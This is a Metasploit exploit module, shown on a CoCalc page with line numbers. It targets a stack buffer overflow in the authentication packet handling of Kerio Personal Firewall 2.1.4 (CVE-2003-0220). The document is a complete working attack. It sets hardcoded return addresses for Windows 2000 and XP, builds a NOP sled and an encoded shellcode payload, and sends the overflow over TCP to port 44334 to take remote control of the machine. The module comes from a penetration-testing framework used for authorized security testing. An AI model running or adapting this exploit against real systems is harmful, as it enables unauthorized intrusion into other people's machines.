CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
14
      'Description'    => %q{
15
        This module exploits a stack buffer overflow in Kerio Personal Firewall
16
        administration authentication process. This module has only been tested
17
        against Kerio Personal Firewall 2 (2.1.4).
18
      },
19
      'Author'         => 'MC',
20
      'License'        => MSF_LICENSE,
21
      'References'     =>
22
        [
23
          ['CVE', '2003-0220'],
24
          ['OSVDB', '6294'],
25
          ['BID', '7180']
26
        ],
27
      'DefaultOptions' =>
28
        {
29
          'EXITFUNC' => 'process',
30
        },
31
      'Payload'        =>
32
        {
33
          'Space'    => 800,
34
          'BadChars' => "\x00",
35
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
36
        },
37
      'Platform'       => 'win',
38
      'Targets'        =>
39
        [
40
          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
41
          [ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e3171b } ],
42
          [ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],
43
        ],
44
      'Privileged'     => true,
45
      'DisclosureDate' => '2003-04-28',
46
      'DefaultTarget' => 0))
47

48
    register_options(
49
      [
50
        Opt::RPORT(44334)
51
      ])
52
  end
53

54
  def exploit
55
    connect
56

57
    print_status("Trying target #{target.name}...")
58

59
    sploit =  make_nops(4468) + payload.encoded
60
    sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')
61

62
    sock.put(sploit)
63
    sock.get_once(-1, 3)
64

65
    handler
66
    disconnect
67
  end
68
end
69

70